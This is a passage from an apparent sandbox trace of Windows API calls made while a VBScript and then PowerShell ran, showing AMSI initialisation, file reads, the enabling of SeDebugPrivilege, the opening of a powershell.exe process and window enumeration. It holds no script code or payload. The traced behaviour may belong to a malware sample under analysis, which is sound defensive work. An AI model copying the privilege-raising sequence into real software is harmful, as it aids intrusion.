lpValueName="AmsiEnable", lpReserved=0x0, lpType=0x6d59ed838, lpData=0x6d59ed840, lpcbData=0x6d59ed830*=0x4 | out: lpType=0x6d59ed838*=0x0, lpData=0x6d59ed840*=0x28, lpcbData=0x6d59ed830*=0x4) returned 0x2 [0085.955] GetUserDefaultLCID () returned 0x411 [0085.955] GetACP () returned 0x4e4 [0085.955] LoadLibraryExW (lpLibFileName="amsi.dll", hFile=0x0, dwFlags=0x800) returned 0x7ff9bc310000 [0086.204] GetProcAddress (hModule=0x7ff9bc310000, lpProcName="AmsiInitialize") returned 0x7ff9bc312030 [0086.204] GetProcAddress (hModule=0x7ff9bc310000, lpProcName="AmsiScanString") returned 0x7ff9bc312440 [0086.204] AmsiInitialize () returned 0x0 [0086.602] VBScriptEngine5:IUnknown:AddRef (This=0x1588c5c97c0) returned 0x2 [0086.602] VBScriptEngine5:IUnknown:Release (This=0x1588c5c97c0) returned 0x1 [0086.602] VBScriptEngine5:IUnknown:Release (This=0x1588c5c17c0) returned 0x0 [0086.602] free (_Block=0x1588c5c17c0) [0086.602] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x1588c5c97c0, riid=0x7ff6672692c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6d59eef18 | out: ppvObject=0x6d59eef18*=0x1588c5c97c0) returned 0x0 [0086.602] VBScriptEngine5:IUnknown:Release (This=0x1588c5c97c0) returned 0x1 [0086.602] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x1588c5c97c0, riid=0x7ff667269270*(Data1=0xbb1a2ae1, Data2=0xa4f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0x20, [2]=0x0, [3]=0x80, [4]=0x5f, [5]=0x2c, [6]=0xd0, [7]=0x64)), ppvObject=0x1588c5c5b98 | out: ppvObject=0x1588c5c5b98*=0x1588c5c97c0) returned 0x0 [0086.602] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x1588c5c97c0, riid=0x7ff667269280*(Data1=0xc7ef7658, Data2=0xe1ee, Data3=0x480e, Data4=([0]=0x97, [1]=0xea, [2]=0xd5, [3]=0x2c, [4]=0xb4, [5]=0xd7, [6]=0x6d, [7]=0x17)), ppvObject=0x1588c5c5ba0 | out: ppvObject=0x1588c5c5ba0*=0x1588c5c97c8) returned 0x0 [0086.602] GetCurrentThreadId () returned 0xc24 [0086.602] malloc (_Size=0xd0) returned 0x1588c5ca160 [0086.603] GetCurrentThreadId () returned 0xc24 [0086.603] malloc (_Size=0x28) returned 0x1588c5c17c0 [0086.603] malloc (_Size=0x40) returned 0x1588c5c9ec0 [0086.603] malloc (_Size=0xc8) returned 0x1588c5ca240 [0086.603] malloc (_Size=0x38) returned 0x1588c5ca310 [0086.603] GetCurrentThreadId () returned 0xc24 [0086.603] malloc (_Size=0x80) returned 0x1588c5ca350 [0086.603] IsValidLocale (Locale=0x411, dwFlags=0x1) returned 1 [0086.603] GetLocaleInfoA (in: Locale=0x411, LCType=0x1004, lpLCData=0x6d59eeed0, cchData=6 | out: lpLCData="932") returned 4 [0086.605] IsValidCodePage (CodePage=0x3a4) returned 1 [0086.605] LdrResolveDelayLoadedAPI () returned 0x7ff9e7cd5110 [0086.612] CoCreateInstance (in: rclsid=0x7ff9bc38f9c0*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff9bc38f9a0*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x1588c5c9b20 | out: ppv=0x1588c5c9b20*=0x1588c6f19f0) returned 0x0 [0086.614] IUnknown:AddRef (This=0x1588c6f19f0) returned 0x2 [0086.614] GetCurrentProcessId () returned 0xe10 [0086.614] GetCurrentThreadId () returned 0xc24 [0086.614] GetTickCount () returned 0x1157607 [0086.615] ISystemDebugEventFire:BeginSession (This=0x1588c6f19f0, guidSourceID=0x7ff9bc3908b8, strSessionName="VBScript:00003600:00003108:18183687") returned 0x0 [0086.615] QueryProtectedPolicy (in: PolicyGuid=0x7ff9bc390620, PolicyValue=0x6d59eef60 | out: PolicyValue=0x6d59eef60) returned 0 [0086.615] VBScriptEngine5:IActiveScriptParse64:InitNew (This=0x1588c5c97c8) returned 0x0 [0086.615] VBScriptEngine5:IActiveScript:AddNamedItem (This=0x1588c5c97c0, pstrName="WScript", dwFlags=0x2) returned 0x0 [0086.615] GetCurrentThreadId () returned 0xc24 [0086.615] malloc (_Size=0x40) returned 0x1588c5ca3e0 [0086.615] malloc (_Size=0xf0) returned 0x1588c5ca430 [0086.615] malloc (_Size=0x80) returned 0x1588c5ca530 [0086.615] malloc (_Size=0x108) returned 0x1588c5ca5c0 [0086.616] VBScriptEngine5:IActiveScript:AddNamedItem (This=0x1588c5c97c0, pstrName="WSH", dwFlags=0x2) returned 0x0 [0086.616] GetCurrentThreadId () returned 0xc24 [0086.616] malloc (_Size=0x40) returned 0x1588c5ca6d0 [0086.616] VBScriptEngine5:IActiveScript:SetScriptState (This=0x1588c5c97c0, ss=5) returned 0x0 [0086.616] VBScriptEngine5:IUnknown:Release (This=0x1588c5c97c0) returned 0x2 [0087.150] malloc (_Size=0x100) returned 0x1588c5cbca0 [0087.150] GetVersionExA (in: lpVersionInformation=0x6d59ed2c0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x0, dwPlatformId=0xbc110000, szCSDVersion="ù\x7f") | out: lpVersionInformation=0x6d59ed2c0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0087.150] GetUserDefaultLCID () returned 0x411 [0087.150] GetLocaleInfoW (in: Locale=0x411, LCType=0x20000070, lpLCData=0x6d59ece30, cchData=2 | out: lpLCData="\x02") returned 2 [0087.151] IsFileSupportedName () returned 0x1 [0087.151] _wcsicmp (_String1=".vbs", _String2=".vbs") returned 0 [0087.157] GetSignedDataMsg () returned 0x0 [0087.157] GetCurrentProcess () returned 0xffffffffffffffff [0087.157] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1c0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x6d59edb80, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x6d59edb80*=0x214) returned 1 [0087.157] GetFileSize (in: hFile=0x214, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2f9 [0087.157] malloc (_Size=0x2f9) returned 0x1588c5ccaf0 [0087.157] SetFilePointer (in: hFile=0x214, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0087.157] ReadFile (in: hFile=0x214, lpBuffer=0x1588c5ccaf0, nNumberOfBytesToRead=0x2f9, lpNumberOfBytesRead=0x6d59edb40, lpOverlapped=0x0 | out: lpBuffer=0x1588c5ccaf0*, lpNumberOfBytesRead=0x6d59edb40*=0x2f9, lpOverlapped=0x0) returned 1 [0087.157] CoInitialize (pvReserved=0x0) returned 0x1 [0087.157] CoCreateInstance (in: rclsid=0x7ff9bc120878*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff9bc120888*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0x6d59edab0 | out: ppv=0x6d59edab0*=0x1588c5cd820) returned 0x0 [0088.633] malloc (_Size=0x100) returned 0x1588c5cbdb0 [0088.633] __dllonexit () returned 0x7ff9bc073d00 [0088.633] __dllonexit () returned 0x7ff9bc073d20 [0088.634] GetVersionExA (in: lpVersionInformation=0x6d59eb390*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0xbc073d20, szCSDVersion="ù\x7f") | out: lpVersionInformation=0x6d59eb390*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0088.634] GetProcessWindowStation () returned 0xcc [0088.634] GetUserObjectInformationA (in: hObj=0xcc, nIndex=1, pvInfo=0x6d59eb378, nLength=0xc, lpnLengthNeeded=0x6d59eb370 | out: pvInfo=0x6d59eb378, lpnLengthNeeded=0x6d59eb370) returned 1 [0088.635] malloc (_Size=0x48) returned 0x1588c5cd3c0 [0088.635] malloc (_Size=0x20) returned 0x1588c5cd410 [0088.635] malloc (_Size=0x38) returned 0x1588c5cd440 [0088.635] malloc (_Size=0x38) returned 0x1588c5cd480 [0088.635] malloc (_Size=0x38) returned 0x1588c5cd4c0 [0088.635] malloc (_Size=0x38) returned 0x1588c5cd500 [0088.635] malloc (_Size=0x38) returned 0x1588c5cd540 [0088.635] malloc (_Size=0x38) returned 0x1588c5cd580 [0088.635] malloc (_Size=0x38) returned 0x1588c5cd5c0 [0088.635] malloc (_Size=0x38) returned 0x1588c5cd600 [0088.635] malloc (_Size=0x40) returned 0x1588c5cd640 [0088.635] free (_Block=0x1588c5cd410) [0088.635] malloc (_Size=0x38) returned 0x1588c5cd690 [0088.635] malloc (_Size=0x38) returned 0x1588c5cd6d0 [0088.635] DllGetClassObject (in: rclsid=0x1588c7043a0*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x7ff9e7e6f9d8*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x6d59ec420 | out: ppv=0x6d59ec420*=0x1588c5cd410) returned 0x0 [0088.636] malloc (_Size=0x10) returned 0x1588c5cd410 [0088.636] IClassFactory:CreateInstance (in: This=0x1588c5cd410, pUnkOuter=0x0, riid=0x6d59ed328*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x6d59ec438 | out: ppvObject=0x6d59ec438*=0x1588c5cd820) returned 0x0 [0088.636] malloc (_Size=0x38) returned 0x1588c5cd710 [0088.636] GetSystemInfo (in: lpSystemInfo=0x6d59ec298 | out: lpSystemInfo=0x6d59ec298*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0088.636] VirtualQuery (in: lpAddress=0x6d59ec290, lpBuffer=0x6d59ec2c8, dwLength=0x30 | out: lpBuffer=0x6d59ec2c8*(BaseAddress=0x6d59ec000, AllocationBase=0x6d58f0000, AllocationProtect=0x4, __alignment1=0xffff9785, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.636] malloc (_Size=0x10) returned 0x1588c5cd750 [0088.636] malloc (_Size=0x58) returned 0x1588c5cd770 [0088.636] malloc (_Size=0x20) returned 0x1588c5cd7d0 [0088.637] malloc (_Size=0xc0) returned 0x1588c5cd800 [0088.637] malloc (_Size=0x18) returned 0x1588c5cd8d0 [0088.637] IUnknown:AddRef (This=0x1588c5cd820) returned 0x2 [0088.637] IUnknown:Release (This=0x1588c5cd820) returned 0x1 [0088.637] IUnknown:Release (This=0x1588c5cd410) returned 0x0 [0088.637] free (_Block=0x1588c5cd410) [0088.637] IUnknown:QueryInterface (in: This=0x1588c5cd820, riid=0x7ff9bc120888*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x6d59eda48 | out: ppvObject=0x6d59eda48*=0x1588c5cd820) returned 0x0 [0088.637] IUnknown:Release (This=0x1588c5cd820) returned 0x1 [0088.637] _strnicmp (_Str1="::Write () returned 0x0 [0110.377] GenericStreamBase::Write () returned 0x0 [0110.378] CoCreateGuid (in: pguid=0x7ff9bbcfa5f0 | out: pguid=0x7ff9bbcfa5f0*(Data1=0x36b2cf13, Data2=0x2a31, Data3=0x4af3, Data4=([0]=0xbd, [1]=0x9d, [2]=0x58, [3]=0xd8, [4]=0xed, [5]=0x77, [6]=0xdb, [7]=0x6d))) returned 0x0 [0110.378] GenericStreamBase::Write () returned 0x0 [0110.379] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0110.380] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x3 [0110.380] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0110.380] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0110.380] Release () returned 0x3 [0110.380] CoGetContextToken (in: pToken=0x250451b8a0 | out: pToken=0x250451b8a0) returned 0x0 [0110.380] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0110.388] WindowsCreateString () returned 0x0 [0110.388] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x4 [0110.389] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0110.389] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0111.080] EtwEventRegister () returned 0x0 [0111.087] EtwEventSetInformation () returned 0x0 [0111.089] EtwEventRegister () returned 0x0 [0111.089] EtwEventSetInformation () returned 0x0 [0111.251] EtwEventActivityIdControl () returned 0x0 [0111.269] EtwEventActivityIdControl () returned 0x0 [0111.269] EtwEventActivityIdControl () returned 0x0 [0111.274] EtwEventActivityIdControl () returned 0x0 [0111.279] EtwEventRegister () returned 0x0 [0111.282] EtwEventWriteTransfer () returned 0x0 [0111.288] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x250451c9b8 | out: phkResult=0x250451c9b8*=0x0) returned 0x2 [0111.290] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0111.299] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x104, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0111.355] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x88 [0111.355] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x88, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0111.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250451d9f0) returned 1 [0111.357] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll"), fInfoLevelId=0x0, lpFileInformation=0x250451dad0 | out: lpFileInformation=0x250451dad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ce8766, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x71ce8766, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x71d0e9d1, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x623400)) returned 1 [0111.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250451d9b0) returned 1 [0111.359] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpdwHandle=0x250451dba8 | out: lpdwHandle=0x250451dba8) returned 0x94c [0111.361] GetFileVersionInfoW (in: lptstrFilename="C:\\WINDOWS\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", dwHandle=0x0, dwLen=0x94c, lpData=0x1cbda5db650 | out: lpData=0x1cbda5db650) returned 1 [0111.363] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x250451db28, puLen=0x250451db20 | out: lplpBuffer=0x250451db28*=0x1cbda5db6ec, puLen=0x250451db20) returned 1 [0111.373] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\CompanyName", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x1cbda5db7c8, puLen=0x250451dac0) returned 1 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileDescription", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x1cbda5db81c, puLen=0x250451dac0) returned 1 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\FileVersion", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x1cbda5db878, puLen=0x250451dac0) returned 1 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\InternalName", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x1cbda5db8b8, puLen=0x250451dac0) returned 1 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalCopyright", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x1cbda5db920, puLen=0x250451dac0) returned 1 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\OriginalFilename", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x1cbda5db9bc, puLen=0x250451dac0) returned 1 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductName", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x1cbda5dba20, puLen=0x250451dac0) returned 1 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\ProductVersion", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x1cbda5dba9c, puLen=0x250451dac0) returned 1 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\Comments", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x1cbda5db744, puLen=0x250451dac0) returned 1 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\LegalTrademarks", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x0, puLen=0x250451dac0) returned 0 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\PrivateBuild", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x0, puLen=0x250451dac0) returned 0 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\\\StringFileInfo\\\\000004B0\\\\SpecialBuild", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x0, puLen=0x250451dac0) returned 0 [0111.374] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x250451da78, puLen=0x250451da70 | out: lplpBuffer=0x250451da78*=0x1cbda5db6ec, puLen=0x250451da70) returned 1 [0111.375] VerLanguageNameW (in: wLang=0x0, szLang=0x250451d7a0, cchLang=0x100 | out: szLang="Language Neutral") returned 0x10 [0111.377] VerQueryValueW (in: pBlock=0x1cbda5db650, lpSubBlock="\\", lplpBuffer=0x250451dac8, puLen=0x250451dac0 | out: lplpBuffer=0x250451dac8*=0x1cbda5db678, puLen=0x250451dac0) returned 1 [0111.378] GetCurrentProcessId () returned 0x6d0 [0111.390] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x250451cb30 | out: lpLuid=0x250451cb30*(LowPart=0x14, HighPart=0)) returned 1 [0111.391] GetCurrentProcess () returned 0xffffffffffffffff [0111.391] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x20, TokenHandle=0x250451cb28 | out: TokenHandle=0x250451cb28*=0x308) returned 1 [0111.392] AdjustTokenPrivileges (in: TokenHandle=0x308, DisableAllPrivileges=0, NewState=0x1cbda5def38*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0111.392] CloseHandle (hObject=0x308) returned 1 [0111.394] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6d0) returned 0x308 [0111.538] EnumProcessModules (in: hProcess=0x308, lphModule=0x1cbda5defa0, cb=0x200, lpcbNeeded=0x250451dad0 | out: lphModule=0x1cbda5defa0, lpcbNeeded=0x250451dad0) returned 1 [0111.539] GetModuleInformation (in: hProcess=0x308, hModule=0x7ff620360000, lpmodinfo=0x1cbda5e43a0, cb=0x18 | out: lpmodinfo=0x1cbda5e43a0*(lpBaseOfDll=0x7ff620360000, SizeOfImage=0x70000, EntryPoint=0x7ff620362ee0)) returned 1 [0111.541] CoTaskMemAlloc (cb=0x804) returned 0x1cbd8745ce0 [0111.541] GetModuleBaseNameW (in: hProcess=0x308, hModule=0x7ff620360000, lpBaseName=0x1cbd8745ce0, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0111.541] CoTaskMemFree (pv=0x1cbd8745ce0) [0111.541] CoTaskMemAlloc (cb=0x804) returned 0x1cbd8745ce0 [0111.541] GetModuleFileNameExW (in: hProcess=0x308, hModule=0x7ff620360000, lpFilename=0x1cbd8745ce0, nSize=0x800 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0111.542] CoTaskMemFree (pv=0x1cbd8745ce0) [0111.542] CloseHandle (hObject=0x308) returned 1 [0111.555] OpenProcess (dwDesiredAccess=0x1f0fff, bInheritHandle=0, dwProcessId=0x6d0) returned 0x308 [0111.555] GetExitCodeProcess (in: hProcess=0x308, lpExitCode=0x1cbda5de0f4 | out: lpExitCode=0x1cbda5de0f4*=0x103) returned 1 [0111.560] EnumWindows (lpEnumFunc=0x1cbf27d468c, lParam=0x0) returned 1 [0111.562] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xa98 [0111.562] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x824 [0111.562] GetWindowThreadProcessId (in: hWnd=0x100dc, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.562] GetWindowThreadProcessId (in: hWnd=0x100d8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.562] GetWindowThreadProcessId (in: hWnd=0x100d2, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.563] GetWindowThreadProcessId (in: hWnd=0x100ce, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.563] GetWindowThreadProcessId (in: hWnd=0x100bc, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.563] GetWindowThreadProcessId (in: hWnd=0x100b4, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.563] GetWindowThreadProcessId (in: hWnd=0x100a0, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.563] GetWindowThreadProcessId (in: hWnd=0x4037a, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.563] GetWindowThreadProcessId (in: hWnd=0x40388, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.563] GetWindowThreadProcessId (in: hWnd=0x4037c, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.563] GetWindowThreadProcessId (in: hWnd=0x40378, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.564] GetWindowThreadProcessId (in: hWnd=0x40376, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.564] GetWindowThreadProcessId (in: hWnd=0x1030e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.564] GetWindowThreadProcessId (in: hWnd=0x200f8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.564] GetWindowThreadProcessId (in: hWnd=0x100e8, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.564] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.564] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.564] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xc80 [0111.564] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x7c4 [0111.565] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x720 [0111.565] GetWindowThreadProcessId (in: hWnd=0x80370, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12cc [0111.565] GetWindow (hWnd=0x80370, uCmd=0x4) returned 0x0 [0111.566] IsWindowVisible (hWnd=0x80370) returned 0 [0111.566] GetWindowThreadProcessId (in: hWnd=0x10316, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.566] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0xff4 [0111.566] GetWindowThreadProcessId (in: hWnd=0x50038, lpdwProcessId=0x250451d8f0 | out: lpdwProcessId=0x250451d8f0) returned 0x12d4 [0111.566] GetWindowThreadProcessId (in: hWnd=0x6003e, lpdwProcessId=0x250451d8f0 | out: 